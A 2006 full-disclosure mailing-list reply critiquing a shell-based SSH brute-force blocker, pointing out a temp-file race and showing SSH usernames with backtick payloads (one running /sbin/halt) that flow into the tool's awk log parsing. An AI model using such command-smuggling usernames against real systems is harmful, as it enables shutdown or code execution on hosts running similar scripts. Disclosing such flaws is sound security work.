Re: [Full-disclosure] SSH brute force blocking tool

[Tavis Ormandy <taviso@xxxxxxxxxx>]

On Mon, Nov 27, 2006 at 03:51:39PM -0500, J. Oquendo wrote:
> Tavis Ormandy wrote:
> >
> >Nice work, really subtle rootkit. I like the email phone-home.
> >
> >Here's an exploit.
> >
> >#!/bin/sh
> >ssh 'foo bar `/sbin/halt`'@victim
> >
> >  
> 
> Since you seem to be clueless I'll answer step by step. Here goes idiot. 
> (Sinful to see someone so clueless coming from Gentoo... Guess it goes 
> with the romper room Linux territory)
> /////
> awk '/error retrieving/{getline;print $13}' /var/log/secure|sort -ru >> 
> /tmp/hosts.deny

insecure temporary file creation, race condition if a user can create
that file between the unlink and the open.

$ ssh "error retrieving"@localhost & ssh '`0wn3d`'@localhost
$ awk '/error retrieving/{getline;print $13}' /var/log/authlog
`0wn3d`

Oops.

Thanks, Tavis.

-- 
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taviso@xxxxxxxxxxxxxxxx | finger me for my pgp key.
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